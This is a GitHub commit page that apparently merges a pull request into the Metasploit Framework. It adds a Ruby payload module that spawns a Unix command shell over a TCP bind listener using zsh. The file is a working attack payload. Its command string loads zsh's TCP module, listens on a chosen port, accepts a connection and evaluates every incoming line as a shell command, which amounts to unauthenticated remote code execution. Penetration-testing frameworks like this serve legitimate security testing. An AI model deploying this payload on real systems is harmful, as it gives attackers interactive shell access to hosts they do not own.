Skip to content

Commit 589b4be

Browse files
committed
Land rapid7#1999, zsh bind shell
2 parents 51abae1 + 86fc101 commit 589b4be

File tree

1 file changed

+62
-0
lines changed

1 file changed

+62
-0
lines changed
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'msf/core/handler/bind_tcp'
10+
require 'msf/base/sessions/command_shell'
11+
require 'msf/base/sessions/command_shell_options'
12+
13+
module Metasploit4
14+
15+
include Msf::Payload::Single
16+
include Msf::Sessions::CommandShellOptions
17+
18+
def initialize(info = {})
19+
super(merge_info(info,
20+
'Name' => 'Unix Command Shell, Bind TCP (via Zsh)',
21+
'Description' => %q{
22+
Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is
23+
often available, please be aware it isn't usually installed by default.
24+
},
25+
'Author' =>
26+
[
27+
'Doug Prostko <dougtko[at]gmail.com>'
28+
],
29+
'License' => MSF_LICENSE,
30+
'Platform' => 'unix',
31+
'Arch' => ARCH_CMD,
32+
'Handler' => Msf::Handler::BindTcp,
33+
'Session' => Msf::Sessions::CommandShell,
34+
'PayloadType' => 'cmd',
35+
'RequiredCmd' => 'zsh',
36+
'Payload' =>
37+
{
38+
'Offsets' => { },
39+
'Payload' => ''
40+
}
41+
))
42+
end
43+
44+
#
45+
# Constructs the payload
46+
#
47+
def generate
48+
return super + command_string
49+
end
50+
51+
#
52+
# Returns the command string to use for execution
53+
#
54+
def command_string
55+
cmd = "zmodload zsh/net/tcp;"
56+
cmd << "ztcp -l #{datastore['LPORT']};"
57+
cmd << "ztcp -a $REPLY;"
58+
cmd << "while read -r cmd <&$REPLY;do eval ${cmd} >&$REPLY;done;"
59+
cmd << "ztcp -c"
60+
cmd
61+
end
62+
end

0 commit comments

Comments
 (0)